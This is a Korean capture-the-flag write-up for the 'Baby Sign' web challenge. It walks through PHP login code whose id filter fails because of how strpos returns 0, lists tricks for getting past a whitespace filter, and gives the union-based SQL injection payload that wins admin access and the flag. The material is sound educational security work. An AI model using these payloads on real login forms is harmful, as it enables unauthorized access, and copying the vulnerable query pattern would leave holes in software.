[Web] Baby Sign
sql injection 문제라고 한다.
일단 다운받은 파일들을 살펴보자.
오. 저기 flag.php 가 있는데 저거부터 열어보도록 하자.
<?php
define('IS_INCLUDED', true);
include($_SERVER["DOCUMENT_ROOT"].'/include/config.php');
if (!is_signin()) {
redirect('/index.php', 'Sign in first');
die();
}
if ($_SESSION['is_admin']) {
echo "SWING{--censored--}";
} else {
redirect('/index.php', 'You are not an admin');
}
?>
flag를 얻으려면 admin...이 되어야 하는데.
저 아래에 있는 sign in, out, up은 아래 페이지와 관련 있는 것 같고.
로그인이나 회원가입을 통해서 admin 권한을 획득하라 이건가.
우선 하나씩 코드를 살펴보자.
signin.php
<?php
define('IS_INCLUDED', true);
include($_SERVER["DOCUMENT_ROOT"].'/include/config.php');
if (is_signin()) {
redirect('/index.php', 'You are already signed in :)');
die();
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST) {
$id = $_POST['id'];
$pw = $_POST['pw'];
if (!$id || !$pw) {
redirect(null, 'Not enough params :(');
die();
}
if (!check($id)) {
die('No hack :(');
}
$pw = sha256($pw);
$query = "SELECT * FROM users WHERE id='$id' AND pw='$pw';";
$res = mysqli_query($conn, $query);
$res = mysqli_fetch_array($res, MYSQLI_ASSOC);
if (!$res) {
redirect(null, 'Signin fail :(');
die();
}
$_SESSION['id'] = $res['id'];
$_SESSION['is_admin'] = $res['is_admin'];
redirect('/index.php', null);
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Sign</title>
</head>
<body>
<?php
include($_SERVER["DOCUMENT_ROOT"].'/include/navbar.php');
?>
<div class="container">
<div class="col-md-6 col-sm-12">
<div class="login-form">
<form method="post">
<div class="form-group">
<label>ID</label>
<input type="text" class="form-control" placeholder="ID" name="id">
</div>
<div class="form-group">
<label>Password</label>
<input type="password" class="form-control" placeholder="Password" name="pw">
</div>
<button type="submit" class="btn btn-black">Sign in</button>
</form>
</div>
</div>
</div>
</body>
</html>
24번 줄 $query = "SELECT * FROM users WHERE id='$id' AND pw='$pw';"; 에서
사용자가 전송한 POST 값을 쿼리문에서 id와 pw로 그대로 들어가기 때문에
sql 쿼리문을 취약한 패턴으로 사용하고 있다.
이렇게 되면 뒤에 원하는 조건문을 추가하는 등 sql 공격이 가능해진다.
그래서 그 바로 위에서 check 함수를 통해 id 값이 해킹당하진 않았는지 검증하고 있는 것이다.
저 check 함수는 include 폴더에 util.php 에 정의되어 있다.
' " \ 그리고 공백을 필터링한다는걸 알 수 있다.
<?php
if(!defined('IS_INCLUDED')) {
die('Not allowed :(');
}
if(!$conn) {
die('DB Connection Error :(');
}
function redirect($loc, $alert) {
$script = '<script>';
if ($alert !== null) {
$script .= "alert('$alert');";
}
if ($loc === null) {
$script .= "history.go(-1);";
} else {
$script .= "location.href='$loc';";
}
$script .= "</script>";
die($script);
}
function check($data) {
$filters = array("'", '"', "\\", " ");
foreach ($filters as $filter) {
if (strpos($data, $filter)) {
return false;
}
}
return true;
}
function is_signin() {
return isset($_SESSION['id']);
}
function sha256($data) {
$salt = "--censored--";
return hash('sha256', $data.$salt);
}
?>
그런데 check 함수 안에 strpos 함수가 보인다.
저건 힌트로 나왔던 그 함수다.
[PHP] strpos() 문자열 함수 : 네이버 블로그 (naver.com)
그래 이 함수.
strpos(string $haystack, string $needle, int $offset = 0): int|false
첫번째 파라미터 값에서 두번째 파라미터의 문자열이 몇번째 위치에 있는지 인덱스를 반환한다.
그러니까 strpos가 데이터를 반환하는데 문자열 앞에 ' " \ 이나 공백이 있어서 필터링되고
strpos 함수가 0을 리턴하게 되면 함수를 탈출해 return true;
0을 리턴하지 못하면 return false; 하고
아까 check 함수에서 No hack 이 출력된다.
pw 파라미터는 sha256으로 패싱되어 들어가기 때문에 sql injection 공격이 불가능하다.
하지만 id 파라미터는 check 검증 로직 하나를 제외하면 걸림돌이 될 것이 없기 때문에 id 파라미터를 통해 공격을 진행한다.
BinaryU :: SQL Injection 공백 우회방법 (tistory.com)
SQL Injection 공격시 공백 문자 필터링시 우회 방법
1. Tab : %09
- no=1%09or%09id='admin'
2. Line Feed (\n): %0a
- no=1%0aor%0aid='admin'
3. Carrage Return(\r) : %0d
- no=1%0dor%0did='admin'
4. 주석 : /**/
- no=1/**/or/**/id='admin'
5. 괄호 : ()
- no=(1)or(id='admin')
6. 더하기 : +
- no=1+or+id='admin'
위의 방법들을 이용해 우회해보자.
'/**/and/**/1=8/**/union/**/select/**/1,1,1,1#
주석을 이용해 우회하는 방법을 썼다.
pw는 아무거나 입력했다. 어차피 상관없으니까.
로그인이 되고 플래그를 획득할 수 있다.
SWING{n0w_1ts_71m3_t0_s0lv3_th3_SIGN_prob!!!}
왜 이런 공격이 가능했느냐하면,
signin.php 11, 12번 줄에 입력한 id 와 pw가 들어가게 된다.
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST) {
$id = $_POST['id'];
$pw = $_POST['pw'];
그 아래 check 함수에서 ' 가 들어있음에도 strpos에서 0을 반환하는 바람에
24번 줄 $query = "SELECT * FROM users WHERE id='$id' AND pw='$pw';"; 에
$query = "SELECT * FROM users WHERE id=''/**/and/**/1=8/**/union/**/select/**/1,1,1,1#' AND pw='$pw';";
이런 식으로 들어간다.
WHERE 구문 다음을 false로 만들어 users 테이블에서 원하는 값을 조회하지 못하게 만들기 위함이다.
1과 8이 다르기 때문에 false가 되고 뒷부분 데이터가 넘어오지 않는 것이다.
admin이 되려면 is_admin 값이 1이어야 하기 때문에
union select를 이용해서그 아래 is_admin 값에 1이 들어가게 하는 것이다.